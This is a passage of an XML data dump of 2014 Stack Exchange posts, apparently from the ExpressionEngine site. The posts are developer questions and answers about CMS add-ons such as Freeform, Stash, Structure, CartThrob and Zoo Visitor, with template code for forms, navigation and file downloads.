show_full_control_panel_end&#xA;System_messages_ext template_post_parse                 template_post_parse&#xA;Minimee_ext         template_post_parse                 template_post_parse&#xA;Snaptcha_ext        user_register_validate              user_register_start&#xA;Channel_images_ext  wygwam_before_display               wygwam_before_display&#xA;Channel_images_ext  wygwam_before_replace               wygwam_before_replace&#xA;Channel_images_ext  wygwam_before_save                  wygwam_before_save&#xA;Channel_images_ext  wygwam_config                       wygwam_config&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit 2: Custom System Messages&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Custom System Messages is installed, but, it shouldn't be involved in this process; on a successful submission, Zoo Visitor is the mechanism directing the browser to a template.&lt;/p&gt;&#xA;" OwnerUserId="33" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2014-02-21T18:14:01.107" Title="HTML Stripped out of Postmaster Emails" Tags="|postmaster|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18559" PostTypeId="2" ParentId="18510" CreationDate="2014-01-20T21:51:23.083" Score="0" Body="&lt;p&gt;Based on the direction from @stuartmcd69 here's what I came up with...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, I had to split this out into two templates and add the Stash module (which is awesome) and the Freebie module (because I'm also using Structure for page management).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Stash variables take place of the $_SESSION variables from my first attempt. Freebie allows me to ignore anything after '/download' in the URL so Freeform can use the %%entry_id%% and channel:entries can grab the correct attachment based on {url_title}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;If you have difficulty retrieving the Freeform Entries, make sure you check the status... that took me a bit to figure out from the docs (e.g. status=&quot;pending|open&quot;).&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Blog Listing Template:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:form &#xA;    form_id=&quot;16&quot; &#xA;    required=&quot;first_name|email&quot; &#xA;    return=&quot;/{segment_1}/download/{segment_2}/%%entry_id%%&quot;&#xA;}&#xA;&amp;lt;div class=&quot;line&quot;&amp;gt;&#xA;    &amp;lt;label&amp;gt;First Name &amp;lt;span class=&quot;required_item&quot;&amp;gt;*&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;first_name&quot; id=&quot;freeform_first_name&quot; placeholder=&quot;First Name&quot; value=&quot;{exp:stash:get name='first_name'}&quot;&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;line&quot;&amp;gt;&#xA;    &amp;lt;label&amp;gt;Email &amp;lt;span class=&quot;required_item&quot;&amp;gt;*&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;email&quot; id=&quot;freeform_email&quot; value=&quot;{exp:stash:get name='email'}&quot;&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;line&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Submit&quot;&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;{/exp:freeform:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Download Template:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- Save Entry to Stash Vars --&amp;gt;&#xA;{exp:freeform:entries &#xA;    form_id=&quot;16&quot; &#xA;    dynamic=&quot;no&quot; &#xA;    status=&quot;pending|open&quot; &#xA;    entry_id=&quot;{freebie_4}&quot; limit=&quot;1&quot;&#xA;}&#xA;    {exp:stash:set &#xA;        type=&quot;variable&quot; &#xA;        dynamic=&quot;yes&quot; &#xA;        save=&quot;yes&quot; &#xA;        match=&quot;#^[a-zA-Z0-9\@\.,\s\-]+$#&quot; &#xA;        scope=&quot;user&quot;&#xA;    }&#xA;        {stash:first_name}{freeform:field:first_name}{/stash:first_name}&#xA;        {stash:email}{freeform:field:email}{/stash:email}&#xA;    {/exp:stash:set}&#xA;&#xA;    {if freeform:no_results}&#xA;        &amp;lt;p&amp;gt;There was an error. Please try again.&amp;lt;/p&amp;gt;&#xA;    {/if}&#xA;{/exp:freeform:entries}&#xA;&#xA;&amp;lt;!-- Hidden iFrame to Auto Download Attachment --&amp;gt;&#xA;{exp:channel:entries channel=&quot;blog&quot; dynamic=&quot;no&quot; url_title=&quot;{freebie_3}&quot; limit=&quot;1&quot;}&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    $(document).ready(function() {&#xA;        $('&amp;lt;iframe src=&quot;/resources/download.php?file_source={blog_attachment}&quot;&amp;gt;&amp;lt;/iframe&amp;gt;').appendTo('body').hide();&#xA;    });&#xA;&amp;lt;/script&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1610" LastActivityDate="2014-01-20T21:51:23.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18560" PostTypeId="2" ParentId="18557" CreationDate="2014-01-20T21:53:28.937" Score="0" Body="&lt;p&gt;Mod_rewrite rules for caching are only needed if you're using the static cache method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Static caching works by writing the HTML output of an EE template to a static file; when the browser requests a URL, mod_rewrite in .htaccess will check to see if that static file exists, if it does, it will serve the HTML from the static file, and, EE won't even be aware the request took place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the static HTML file doesn't exist, EE will handle the request as usual (with the Pages module), and, if static caching is enabled for the page, write the output of the page load to the static cache, so the next user who requests that page will get content from the file, instead of from EE, if that makes sense.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2014-01-20T21:53:28.937" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18561" PostTypeId="1" CreationDate="2014-01-20T22:03:44.837" Score="0" ViewCount="114" Body="&lt;p&gt;I'm building a site with Structure, and in my overall navigation, I'd like to vary the &lt;code&gt;show_depth&lt;/code&gt; parameter for particular parts of the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following works for the majority of my site's navigation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{exp:structure:nav css_id=&quot;none&quot; css_class=&quot;menu&quot; show_level_classes=&quot;yes&quot; current_class=&quot;active&quot; start_from=&quot;/&quot; has_children_class=&quot;yes&quot; show_depth=&quot;4&quot; exclude=&quot;142|144|146|148|150|152&quot;}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, there are some sections that will have many (hundreds) of entries that are also at the &quot;fourth&quot; level of the hierarchy that I do not want to show in the navigation. For instance: I have a &quot;Press Releases&quot; section, which will have a parent page (called Press Releases), and will list ALL of the site's press releases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to conditionally change the &lt;code&gt;show_depth&lt;/code&gt; number for certain parts of the site?&lt;/p&gt;&#xA;" OwnerUserId="2364" LastActivityDate="2016-05-24T12:50:45.740" Title="Structure: change display depth for certain parents" Tags="|add-on|structure|navigation|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18562" PostTypeId="2" ParentId="18491" CreationDate="2014-01-20T22:07:23.323" Score="1" Body="&lt;p&gt;I was doing just this last week on a few thousand entries. Assets works really well at converting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First make sure Assets is synchronised with your upload paths. Assets creates a reference to all the files in &lt;code&gt;exp_assets_files&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE File fieldtype stores it's data in the format &lt;code&gt;{filedir_x}your-file.ext&lt;/code&gt;, where x is the reference to upload paths config.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When changing an existing fieldtype from File to Assets, Assets matches the file name against it's stored reference in &lt;code&gt;exp_assets_files&lt;/code&gt; and create the appropriate rows in &lt;code&gt;exp_assets_selections&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did have some issues with files starting with underscore. I've yet to work out if this is a real issue or specific to my install.&lt;/p&gt;&#xA;" OwnerUserId="351" LastActivityDate="2014-01-20T22:07:23.323" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18564" PostTypeId="2" ParentId="6642" CreationDate="2014-01-21T06:38:03.577" Score="0" Body="&lt;p&gt;EE has a lot of indexes already, so it's fairly rare to run into a situation where you'd need another. However, I see no reason to avoid doing it if you see measurable performance gains in a custom query or something. You can always drop it later if something changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got a very modest performance boost on my site by adding an index to the &lt;code&gt;file_name&lt;/code&gt; column of &lt;code&gt;exp_files&lt;/code&gt;. The file field tag pair can get a bit slow without that index if you have a huge number of files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as your &lt;code&gt;exp_extensions&lt;/code&gt; example goes, it's probably a bad candidate because there are only two options for &lt;code&gt;enabled&lt;/code&gt; (y/n). It &lt;em&gt;might&lt;/em&gt; be beneficial if you had thousands of rows and only a few were marked 'y', but as a general rule of thumb it's best to use indexes on columns with lots of unique values.&lt;/p&gt;&#xA;" OwnerUserId="2631" LastActivityDate="2014-01-21T06:38:03.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18566" PostTypeId="1" CreationDate="2014-01-21T08:49:02.820" Score="0" ViewCount="137" Body="&lt;p&gt;I am pretty sure I am just doing something wrong, because this seems to be a straight forward thing I am trying to do, but not having any luck at the moment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to get a FreeForm form to allow zip files in a file upload field, but I am getting the following error: &quot;The filetype you are attempting to upload is not allowed.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I have done so far:&#xA;- Checked the file upload field's settings and made sure the &quot;Allowed File Types&quot; setting includes &quot;zip&quot;. ie. I have it set as &quot;zip|pdf|doc|docx|odt&quot;. (Note: uploads work fine with pdf's, doc's, etc.)&#xA;- Tried adding the &quot;allowed_file_types&quot; parameter to the {exp:freeform:form} tag, but I think this is deprecated. I am using FreeForm v4.1.3&#xA;- Made sure that there is a mime type entry for &quot;zip&quot; in /system/expressionengine/config/mimes.php&#xA;- Made sure I have full permissions on the upload directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything else I can try? Like I said, I can upload other files without any problems, so it seems to only be specific to zip files.&lt;/p&gt;&#xA;" OwnerUserId="1936" LastActivityDate="2014-01-21T08:49:02.820" Title="How to get FreeForm to allow zip files?" Tags="|solspace-freeform|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18567" PostTypeId="1" CreationDate="2014-01-21T09:05:27.797" Score="3" ViewCount="131" Body="&lt;p&gt;Is there a way to change the status of Expresso Store orders via a SAEF?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For people working in the picking/packing department of a webshop, I would like to create a simple page with a few buttons: &quot;Start picking&quot; &quot;Packed&quot; &quot;Shipped&quot; or &quot;Delayed due to ...&quot; so they can easily use a simple touch screen device and quickly update the status of an order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone ever tried this? Don't know if it is even possible.&lt;/p&gt;&#xA;" OwnerUserId="2086" LastEditorUserId="150" LastEditDate="2014-01-22T20:10:31.667" LastActivityDate="2014-01-22T20:17:54.580" Title="Store: Changing Order Statuses from SAEF?" Tags="|expresso-store|expresso|saef|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18568" PostTypeId="2" ParentId="18567" CreationDate="2014-01-21T09:16:33.247" Score="-1" Body="&lt;p&gt;Um, yep the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_form/#status&quot; rel=&quot;nofollow&quot;&gt;EE Docs&lt;/a&gt; even give you an example. You could turn that into radio group or some such to achieve the function you seek.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2014-01-21T09:16:33.247" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18569" PostTypeId="2" ParentId="18366" CreationDate="2014-01-21T11:09:09.513" Score="0" Body="&lt;p&gt;Thanks Romans-8---31-39. That did the trick using scope site.&lt;/p&gt;&#xA;" OwnerUserId="466" LastActivityDate="2014-01-21T11:09:09.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18570" PostTypeId="2" ParentId="18551" CreationDate="2014-01-21T12:17:46.063" Score="1" Body="&lt;p&gt;The domain output in the rules generated by Mustash is defined by the &lt;code&gt;stash_static_url&lt;/code&gt; config value. As you have discovered for many systems a webroot relative url should be used instead of an absolute one:&#xA;&lt;a href=&quot;https://github.com/croxton/Stash/wiki/Installing-%26-upgrading&quot; rel=&quot;nofollow&quot;&gt;https://github.com/croxton/Stash/wiki/Installing-%26-upgrading&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem with POST requests is something I have also noticed with Low Search, which submits forms to the index page of the site. Please try the solution @Jay F posted. &lt;/p&gt;&#xA;" OwnerUserId="289" LastActivityDate="2014-01-21T12:17:46.063" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18571" PostTypeId="1" CreationDate="2014-01-21T12:41:10.993" Score="0" ViewCount="139" Body="&lt;p&gt;I understand the add to cart form can take a parameter to disable tax on a product like so.. (although the docs seem to indicate it should be 'tax_exempt'?)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:add_to_cart_form on_the_fly=&quot;y&quot; no_tax=&quot;yes&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am using this to create phone orders but sometimes a product may not have tax so I was hoping to add a checkbox, something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;no_tax&quot; value=&quot;yes&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Unfortunately this does not appear to work for me, just wondering if there are any undocumented features that will do what I want?&lt;/p&gt;&#xA;" OwnerUserId="1038" LastEditorUserId="425" LastEditDate="2014-11-05T08:57:29.377" LastActivityDate="2016-05-23T07:38:59.930" Title="CartThrob: Setting no tax on on-the-fly products" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18572" PostTypeId="1" CreationDate="2014-01-21T12:48:13.873" Score="2" ViewCount="397" Body="&lt;p&gt;first time using the Solspace freeform add on. When i test out the contact form i get a &quot;disallowed key characters&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is my code..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:freeform:form form_name=&quot;contact&quot; required=&quot;first_name|user_message&quot; return=&quot;contact|contact_us&quot; admin_notify=&quot;pete@pbwebdeisngs.co.uk&quot;}   &#xA;    &amp;lt;div class=&quot;grid_8 prefix_2 suffix_2&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;block_green&quot;&amp;gt;&#xA;            &amp;lt;h4 class=&quot;white title1 space3&quot;&amp;gt;Email me here!&amp;lt;/h4&amp;gt;&#xA;            &amp;lt;label for=&quot;{first_name}&quot;&amp;gt;Name&amp;lt;/label&amp;gt;&#xA;            &amp;lt;input type=&quot;text&quot; id=&quot;name&quot; name=&quot;{first_name}&quot;/&amp;gt;&#xA;            &amp;lt;br /&amp;gt;&#xA;            &amp;lt;br /&amp;gt;&#xA;&#xA;            &amp;lt;label for=&quot;{email}&quot;&amp;gt;Email&amp;lt;/label&amp;gt;&#xA;            &amp;lt;input type=&quot;text&quot; id=&quot;email&quot; name=&quot;{email}&quot;/&amp;gt;&#xA;            &amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&#xA;&#xA;            &amp;lt;label for=&quot;{user_message}&quot;&amp;gt;Message&amp;lt;/label&amp;gt;&#xA;            &amp;lt;textarea name=&quot;{user_message}&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;            &amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&#xA;&#xA;            &amp;lt;input id=&quot;submit&quot; type=&quot;submit&quot; value=&quot;Comment&quot; name=&quot;submit&quot;/&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;{/exp:freeform:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;probably something stupid as usual but help would be appreciated &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks Peterp205&lt;/p&gt;&#xA;" OwnerUserId="2638" LastEditorUserId="1773" LastEditDate="2014-03-26T13:58:32.420" LastActivityDate="2014-03-26T13:58:32.420" Title="Freeform Contact form disallowed key characters" Tags="|solspace-freeform|solspace|channel-form|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18573" PostTypeId="1" CreationDate="2014-01-21T13:14:54.183" Score="2" ViewCount="213" Body="&lt;p&gt;I am a novice with ExpressionEngine and still learning.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can one order channel categories in an ascending or descending order ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- ABOUT US --&amp;gt;&#xA;&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;/corporate&quot;&amp;gt;About Us&amp;lt;/a&amp;gt;&#xA;    &amp;lt;!-- DROPDOWN NAV --&amp;gt;&#xA;    {exp:channel:categories channel=&quot;corporate&quot; category_group=&quot;8&quot; dynamic=&quot;no&quot; style=&quot;nested&quot; status=&quot;{published-status}&quot; show_empty=&quot;no&quot; id=&quot;nav_categories&quot; class=&quot;dropdown&quot;}&#xA;    {if category_id != &quot;82&quot;}&#xA;        {if category_id != &quot;116&quot;}&#xA;    &amp;lt;a href=&quot;{path='corporate/topic'}&quot;&amp;gt;{cap_category_name_catgrpid-8}&amp;lt;/a&amp;gt;&#xA;    {/if}&#xA;    {/if}&#xA;    {if count == &quot;{total_results}&quot;}&#xA;        &amp;lt;a href=&quot;/get-involved/item/parachutes-sponsors&quot;&amp;gt;Our sponsors&amp;lt;/a&amp;gt;&#xA;    {/if}&#xA;{/exp:channel:categories}&#xA;&amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any suggestion will be helpful&lt;/p&gt;&#xA;" OwnerUserId="2639" LastEditorUserId="55" LastEditDate="2014-01-21T13:28:15.457" LastActivityDate="2014-01-21T16:29:41.083" Title="Order channel categories on the navigation" Tags="|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18574" PostTypeId="2" ParentId="18571" CreationDate="2014-01-21T13:23:29.170" Score="0" Body="&lt;p&gt;The &lt;code&gt;tax_exempt&lt;/code&gt; parameter is renamed to &lt;code&gt;NTX&lt;/code&gt; and then its value is encrypted by the CartThrob form tag before being added as a hidden input, so it's not quite so simple.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But a little bit of PHP can do this for you (or a you could write a simple plugin if you're averse to PHP in templates).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;NTX&quot; value=&quot;&amp;lt;?php echo ee()-&amp;gt;encrypt-&amp;gt;encode('yes'); ?&amp;gt;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You may or may not need to load the Encryption library first:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;load-&amp;gt;library('encrypt');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-01-21T13:23:29.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18575" PostTypeId="2" ParentId="18572" CreationDate="2014-01-21T13:27:57.423" Score="3" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; id=&quot;email&quot; name=&quot;{email}&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is why - you're posting an item whose &lt;em&gt;key&lt;/em&gt; is an email address. EE treats this as malicious data (as it contains the &lt;code&gt;@&lt;/code&gt; character).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you meant to write was:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; id=&quot;email&quot; name=&quot;email&quot; value=&quot;{email}&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Same goes for all your other inputs - you have &lt;code&gt;name&lt;/code&gt; confused with &lt;code&gt;value&lt;/code&gt;, and your &lt;code&gt;value&lt;/code&gt;s are all missing.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-01-21T13:27:57.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18576" PostTypeId="1" AcceptedAnswerId="18625" CreationDate="2014-01-21T14:39:27.457" Score="0" ViewCount="55" Body="&lt;p&gt;When I display a couple of entries using the channel tag, and use the {count} var inside the entries template, I simply get 1,2,3,4 etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I use a conditional to filter entries like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel='artworks'}&#xA;    {if &quot;{specifications}{type}{/specifications}&quot; == &quot;Painting&quot;}&#xA;        {count}&#xA;    {/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I successfully filter my entries to only display those entries that match my criteria, however, my count var renders as (eg) 4,8.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to have a variable that renders as 1,2,3 etc.&#xA;So the count var should only count the rendered entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ho to get this to work?&lt;/p&gt;&#xA;" OwnerUserId="777" LastActivityDate="2014-01-22T18:25:43.283" Title="{count} of shown/rendered channel entries passed through conditionals" Tags="|channel-entries|conditionals|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18577" PostTypeId="1" CreationDate="2014-01-21T15:21:41.093" Score="2" ViewCount="139" Body="&lt;p&gt;Using EE 2.5.3 and exp-resso 1.6.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically we keep getting call-back failures. I'd guess around 5% of orders or maybe slightly less all encounter the exact same error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Our systems have detected that your callback has failed.&#xA;&#xA;This callback failure means we were unable to pass information&#xA;to your server about the following transaction:&#xA;&#xA;   Transaction ID: &#xA;   Cart ID: xxxx&#xA;   Installation ID: xxxxxx&#xA;&#xA;Error reported: Callback to http://www.mysite.co.uk/index.php?             &#xA;ACT=66&amp;amp;H=381d0eea799cbf1ebbddbacca7718ee5: NOT OK, recevied HTTP status: 302&#xA;Server Reference: ukdc1-pz-pay03:callbackFailureEmail-1182:MerchReq-126-73&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note, it rarely contains a transaction ID which is very strange in and of itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;World-Pay have insisted that everything is correct at their end and in the World-Pay settings. The only thing they weren't sure about was the call-back URL, which is set by the shopping cart module itself via it's call to WP. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, we know the server is working fine, we've had instances of successful payments very close either side of failed payments (as well as ones on their own) and Paypal is working fine with no callbacks ever. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the server wasn't responding, it also would display a 5xx error, not the 302 redirect, which I believe is how the cart responds normally. We have a script that tests the server's response times from queries to the site and all have them are responding in the below 5 second range at worst.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So we pretty much can't think of anything else left to check.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope you can help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Steven Lockey&lt;/p&gt;&#xA;" OwnerUserId="998" LastActivityDate="2016-05-21T12:00:17.070" Title="Intermitent failure of Call-backs from World Pay" Tags="|expresso-store|ee2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18578" PostTypeId="1" CreationDate="2014-01-21T15:23:58.130" Score="0" ViewCount="109" Body="&lt;p&gt;I have a channel for users to add their own entry via a Safecracker form, it is a live site and there is now 800 odd entries – about 300 of these have slipped by without URL titles, which you can imagine is causing trouble...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Blank URL title:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In some instance, it seems that my URL titles have not came through – they are blank. Would this signal a lack on Javascript in the users browser? URL title field is hidden. It all works fine when I test it with Javascript enabled, could only recreate the problem with JS disabled, no URL title comes into the fields value. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question on this is – how do I prevent this from happening within Safecracker? These users would not understand url title field, so want to keep it hidden – which means can't user validate it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Rebuilding the URLS using title&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have seen a few solutions on here – but none work. SQL solution leaves in special characters. PHP solution throws up an error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I need to rebuild all the URL titles in a Channel, how do I go about it? (I am not good with PHP or MySQL – is there an existing solution I am missing)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am stuck with about 300 blank URLs, which would be tedious to do manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for your help!&lt;/p&gt;&#xA;" OwnerUserId="1955" LastActivityDate="2014-01-21T16:03:12.893" Title="URL title field is blank on some entries! Help" Tags="|safecracker|channel-form|url-title|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18579" PostTypeId="1" CreationDate="2014-01-21T15:33:43.240" Score="1" ViewCount="157" Body="&lt;p&gt;I'm using inline error handling with a Zoo:Visitor registration form. When the form is submitted with an error, such as &quot;The email you chose is not available&quot;, the fields do not repopulate with the values submitted. I have &lt;code&gt;value={field_name}&lt;/code&gt; in place for each field. How should this work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mark&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's some of the code. You'll see value for &lt;code&gt;member_firstname&lt;/code&gt; is set. Yet when I submit the form and get it back with an inline error for &lt;code&gt;email&lt;/code&gt;, nothing is displayed in the &lt;code&gt;member_firstname&lt;/code&gt; field:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            {exp:zoo_visitor:registration_form&#xA;                error_handling=&quot;inline&quot;&#xA;                return=&quot;members/success&quot;&#xA;                include_jquery=&quot;no&quot;&#xA;                allowed_groups=&quot;7&quot;&#xA;                preserve_checkboxes=&quot;yes&quot;&#xA;                }&#xA;&#xA;                &amp;lt;input type=&quot;hidden&quot; name=&quot;group_id&quot; value=&quot;&quot; /&amp;gt;&#xA;&#xA;                &amp;lt;p&amp;gt;&amp;lt;label for=&quot;email&quot;&amp;gt;Email*&amp;lt;/label&amp;gt; &amp;lt;input id=&quot;email&quot; name=&quot;email&quot; type=&quot;text&quot; value=&quot;&quot; /&amp;gt;&#xA;                {error:email}&#xA;                &amp;lt;label for=&quot;member_academic_discount&quot; class=&quot;checkbox&quot;&amp;gt;&amp;lt;input id=&quot;member_academic_discount&quot; name=&quot;member_academic_discount&quot; type=&quot;checkbox&quot; /&amp;gt; I am a student or teacher registering with a .edu email address.&amp;lt;/label&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;                &amp;lt;p&amp;gt;&amp;lt;label for=&quot;password&quot;&amp;gt;Password*&amp;lt;/label&amp;gt; &amp;lt;input id=&quot;password&quot; name=&quot;password&quot; type=&quot;password&quot; value=&quot;&quot; /&amp;gt;&#xA;                {error:password}&#xA;&#xA;                &amp;lt;label for=&quot;password_confirm&quot;&amp;gt;Confirm Password*&amp;lt;/label&amp;gt; &amp;lt;input id=&quot;password_confirm&quot; name=&quot;password_confirm&quot; type=&quot;password&quot; value=&quot;&quot; /&amp;gt;&#xA;                &amp;lt;/p&amp;gt;&#xA;&#xA;                &amp;lt;p&amp;gt;&amp;lt;label for=&quot;member_firstname&quot;&amp;gt;First Name*&amp;lt;/label&amp;gt; &amp;lt;input id=&quot;member_firstname&quot; name=&quot;member_firstname&quot; type=&quot;text&quot; value=&quot;{if member_firstname}{member_firstname}{/if}&quot; /&amp;gt;&#xA;                {error:member_firstname}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="293" LastEditorUserId="293" LastEditDate="2014-01-21T16:15:35.940" LastActivityDate="2014-01-21T16:15:35.940" Title="How to repopulate fields in Zoo:Visitor registration form?" Tags="|zoo-visitor|fields|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
